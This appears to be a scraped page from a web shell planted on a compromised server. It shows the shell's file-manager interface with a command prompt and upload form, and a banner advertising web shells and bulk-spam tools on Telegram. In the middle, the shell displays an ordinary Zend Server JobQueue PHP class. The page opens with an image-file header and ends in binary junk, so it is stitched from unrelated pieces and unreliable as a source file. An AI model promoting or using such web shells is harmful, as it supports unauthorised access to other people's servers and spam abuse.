xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace JobQueue\Model;

use JobQueue\Filter\Dictionary;
use ZendServer\Exception;
use ZendJobQueue,
    ZendJobQueueException;
use ZendServer\Log\Log;
use Deployment\IdentityFilterInterface;
use Deployment\IdentityApplicationsAwareInterface;

class Mapper implements IdentityApplicationsAwareInterface
{
    const OPTION_VALIDATE_SSL_INHERIT = 'VALIDATE_SSL_INHERIT';
    const OPTION_VALIDATE_SSL_STRICT  = 'VALIDATE_SSL_STRICT';
    const OPTION_VALIDATE_SSL_ACCEPT  = 'VALIDATE_SSL_ACCEPT';

    const JOBQUEUE_TYPE_WEB = 1;
    const JOBQUEUE_TYPE_CLI = 2;

    /**
     * @var \ZendJobQueue
     */
    protected $jobqueue;

    /**
     * @var Dictionary
     */
    protected $dictionary;

    /**
     * @var IdentityFilterInterface
     */
    protected $identityFilter;

    /**
     * @var \JobQueue\Db\Mapper
     */
    protected $queuesMapper;

    /**
     * @brief set queues mapper
     * @param \JobQueue\Db\Mapper $queuesMapper 
     * @return  
     */
    public function setQueuesMapper(\JobQueue\Db\Mapper $queuesMapper)
    {
        $this->queuesMapper = $queuesMapper;
    }

    /**
     * @brief
     * @return \JobQueue\Db\Mapper
     */
    public function getQueuesMapper()
    {
        /* @var \JobQueue\Db\Mapper */
        return $this->queuesMapper;
    }
    /**
     * @var array
     */
    protected $validateSslValues = array(
        self::OPTION_VALIDATE_SSL_INHERIT,
        self::OPTION_VALIDATE_SSL_STRICT,
        self::OPTION_VALIDATE_SSL_ACCEPT,
    );

    /**
     * @return array
     */
    public function getStatistics()
    {
        return $this->getJobqueue()->getStatistics();
    }

    /**
     * @brief add queue_Status to the job info
     * @param <unknown> $jobInfo 
     * @return  
     */
    protected function updateJobRecordWithQueueData(&$jobInfo)
    {
        if (!$jobInfo || !$jobInfo['queue_id']) {
            return;
        }

        // add queue status to the result
        /* @var \JobQueue\Db\Mapper */
        $queueData               = $this->getQueuesMapper()->getQueue($jobInfo['queue_id']);
        $jobInfo['queue_status'] = $queueData ? $queueData['status'] : null;
    }

    /**
     * 
     * @param array $filter
     * @param integer $limit
     * @param integer $offset
     * @param string $sortBy
     * @param string $direction
     * @return \JobQueue\Model\JobsSet
     */
    public function getJobsList($filter = array(), $limit = 0, $offset = 0, $sortBy = 'creationTime',
                                $direction = 'DESC', $singleJob = null)
    {
        $total        = 0; //total would be set by getJobsList()
        $applications = array();
        if (isset($filter['app_ids'])) {
            $applications = $filter['app_ids'];
            $this->getIdentityFilter()->setAddGlobalAppId(false);
        } else {
            $this->getIdentityFilter()->setAddGlobalAppId(true);
        }
        $params = array(
            'sort_by' => $this->getDictionary()->getSortConstant($sortBy),
            'sort_direction' => $this->getDictionary()->getSortDirectionConstant($direction),
            'count' => (int) $limit,
            'start' => (int) $offset,
            'app_ids' => $this->getIdentityFilter()->filterAppIds($applications, true)
        );

        if ($filter) {
            $params += $filter;
        }

        try {
            Log::debug("Calling getJobsList() with the following params: ".var_export($params, true));
            if ($singleJob) {
                $resultItem = $this->getJobqueue()->getJobInfo($singleJob);
                $this->updateJobRecordWithQueueData($resultItem);

                $result   = array();
                $result[] = $resultItem;
            } else {
                $result = $this->getJobqueue()->getJobsList($params, $total);
            }
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to  retrieve job list: %s', array($e->getMessage())), null, $e);
        }

        $count     = sizeof($result);
        Log::debug("getJobsList() returned total of {$total} jobs");
        $resultSet = new JobsSet($result);
        $resultSet->setTotal($total);
        return $resultSet;
    }

    /**
     * 
     * @param string $url 
     * @param integer $type 
     * @param string $executable - 'php'/'other'
     * @param array $vars 
     * @param array $options 
     * @return  
     */
    public function createRule($url, $type, array $vars, array $options)
    {
        try {
            if ($type == 'http') {
                $result = $this->getJobqueue()->createHttpJob($url, $vars, $options);
            } elseif ($type == 'phpcli') {
                // PHP CLI job
                $result = $this->getJobqueue()->createPhpCliJob($url, $vars, $options);
                //$result = $this->getJobqueue()->createCliJob($url, $vars, $options);
            } elseif ($type == 'cli') {
                // general CLI job
                $result = $this->getJobqueue()->createCliJob($url, $options);
            } else {
                throw new \Exception('Unrecognized job type. Should be web, cli or phpcli');
            }
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to create job rule: %s', array($e->getMessage())), null, $e);
        }

        return $result;
    }

    /**
     * @param string $id
     * @param string $vars
     * @param string $options
     */
    public function updateRule($id, array $vars, array $options, $url = null)
    {
        try {

            $rule = $this->getSchedulingRule($id);
            if (is_null($url)) {
                $url = $rule['script'];
            }

            $result = $this->getJobqueue()->updateSchedulingRule($id, $url, $vars, $options);

            $rule = $this->getSchedulingRule($id);
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to update job rule: %s', array($e->getMessage())), null, $e);
        }

        return $rule;
    }

    /**
     * @param string $id
     * @return array
     */
    public function runNowRule($id)
    {
        try {

            $this->getJobqueue()->runNowSchedulingRule($id);
            $latestJob = $this->getJobsList(array(Dictionary::FILTER_COLUMN_RULE_IDS => array($id)), 1)->current();
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to execute new rule: %s', array($e->getMessage())), null, $e);
        }

        return $latestJob;
    }

    public function isSupportJobqueue()
    {
        return false;
        try {
            $this->getJobqueue();
        } catch (\Exception $e) {
            return false;
        }
        return true;
    }

    public function getJob($jobId)
    {
        try {
            $result = $this->getJobqueue()->getJobInfo($jobId);
            $this->updateJobRecordWithQueueData($result);

            $this->getIdentityFilter()->setAddGlobalAppId(true);
            if (!count($this->getIdentityFilter()->filterAppIds(array($result['app_id'])))) {
                throw new Exception(_t('Access to job denied.  You have no access to the application associated with the job.'));
            }
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to retrieve job list: %s', array($e->getMessage())), null, $e);
        }

        return $result;
    }

    /**
     * @param integer $jobId
     */
    public function deleteJob($jobId)
    {
        if ($this->getJobqueue()->getJobStatus($jobId) === false) {
            throw new Exception(_t('Failed to retrieve job'));
        }

        try {
            $this->getJobqueue()->removeJob($jobId);
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to delete job: %s', array($e->getMessage())), null, $e);
        }
    }

    /**
     * stop job execution
     * @param mixed $jobId 
     * @param mixed $reason 
     * @return  
     */
    public function abortJob($jobId, $reason = '')
    {
        if ($this->getJobqueue()->getJobStatus($jobId) === false) {
            throw new Exception(_t('Failed to retrieve job'));
        }

        try {
            $this->getJobqueue()->abortJob($jobId, $reason);
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to abort job: %s', array($e->getMessage())), null, $e);
        }
    }

    public function deleteJobsByFilter(array $params, $total)
    {
        $jobs = $this->getJobsList($params, $total);
        foreach ($jobs as $job) {
            $this->deleteJob($job['id']);
        }
    }

    /**
     * @param integer $jobId
     */
    public function requeueJob($jobId)
    {
        if ($this->getJobqueue()->getJobStatus($jobId) === false) {
            throw new Exception(_t('Failed to retrieve job'));
        }

        try {
            $this->getJobqueue()->restartJob($jobId);
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to requeue job: %s', array($e->getMessage())), null, $e);
        }
    }

    public function createSchedulingRule(\JobQueue\Model\RecurringJob $rule)
    {
        $id     = $rule->getId();
        $script = $rule->getScript();
        $vars   = $rule->getVars();
        if (is_null($vars)) {
            $vars = array();
        }
        $options = array();
        $val     = $rule->getName();
        if (!empty($val)) {
            $options['name'] = $val;
        }
        $val = $rule->getSchedule();
        if (!empty($val)) {
            $options['schedule'] = $val;
        }
        $q = new ZendJobQueue();
        try {
            $ret = $q->createHttpJob($script, $vars, $options);
        } catch (ZendJobQueueException $e) {
            throw new Exception($e->getMessage());
        }

        if ($ret === false) {
            throw new Exception(_t('Failed to create a new recurring job. Make sure the Job Queue component is running and that you have the proper permissions'));
        }
        return true;
    }

    /**
     * @param integer $ruleId
     */
    public function resumeRule($ruleId)
    {
        $this->getSchedulingRule($ruleId); // validating first

        try {
            $this->getJobqueue()->resumeSchedulingRule($ruleId);
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to resume rule: %s', array($e->getMessage())), null, $e);
        }
    }

    /**
     * @param integer $ruleId
     */
    public function disableRule($ruleId)
    {
        $this->getSchedulingRule($ruleId); // validating first

        try {
            $this->getJobqueue()->suspendSchedulingRule($ruleId);
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to disable rule: %s', array($e->getMessage())), null, $e);
        }
    }

    /**
     * @param integer $ruleId
     */
    public function deleteRule($ruleId)
    {
        $this->getSchedulingRule($ruleId); // validating first

        try {
            if (!$this->getJobqueue()->deleteSchedulingRule($ruleId)) {
                throw new Exception(_t('Failed to delete rule: %s', array($ruleId)));
            }
        } catch (\ZendJobQueueException $e) {
            throw new Exception(_t('Failed to delete rule: %s', array($e->getMessage())), null, $e);
        }
    }


    /**
     * @param integer $ruleId
     */
    public function getSchedulingRule($ruleId)
    {
        if (($rule = $this->getJobqueue()->getSchedulingRule($ruleId)) === false) {
            throw new Exception(_t('Failed to retrieve rule'));
        }

        $rule['priority'] = \JobQueue\JobQueueInterface::PRIORITY_URGENT - $rule['priority'];
        $validateSsl      = $this->getValidateSslValues();
        if (!isset($rule['validate_ssl'])) {
            $rule['validate_ssl'] = key($validateSsl);
        }
        $rule['validate_ssl'] = $validateSsl[$rule['validate_ssl']];
        return $rule;
    }

    /**
     * 
     */
    public function getSchedulingRules()
    {
        if (($rules = $this->getJobqueue()->getSchedulingRules()) === false) {
            throw new Exception(_t('Failed to retrieve rules'));
        }

        return $rules;
    }

    /**
     * @return Boolean
     */
    public function isJobQueueDaemonRunning()
    {
        return ZendJobQueue::isJobQueueDaemonRunning();
    }

    /**
     * @return \ZendJobQueue
     * @throws Exception
     */
    public function getJobqueue()
    {
        if ($this->jobqueue) {
            return $this->jobqueue;
        }

        if (class_exists("ZendJobQueue")) {
            return $this->jobqueue = new ZendJobQueue();
        } else {
            throw new Exception(_t('Job Queue extension must be loaded'));
        }
    }

    protected function getDictionary()
    {
        if ($this->dictionary) {
            return $this->dictionary;
        }

        return $this->dictionary = new Dictionary();
    }

    /**
     * @return IdentityFilterInterface
     */
    public function getIdentityFilter()
    {
        $this->identityFilter->setAddGlobalAppId();
        return $this->identityFilter;
    }

    /**
     * @return array
     */
    public function getValidateSslValues()
    {
        return $this->validateSslValues;
    }
    /* (non-PHPdoc)
     * @see \Deployment\IdentityApplicationsAwareInterface::setIdentityFilter()
     */

    public function setIdentityFilter(IdentityFilterInterface $filter)
    {
        $this->identityFilter = $filter;
    }
}

Filemanager

Name Type Size Permission Actions
JobsSet.php File 510 B 0644
Mapper.php File 13.24 KB 0644
QueueStats.php File 1.35 KB 0644
RecurringJob.php File 6.65 KB 0644
RecurringJobSchedule.php File 8.04 KB 0644
RulesSet.php File 512 B 0644
Statistics.php File 5.4 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1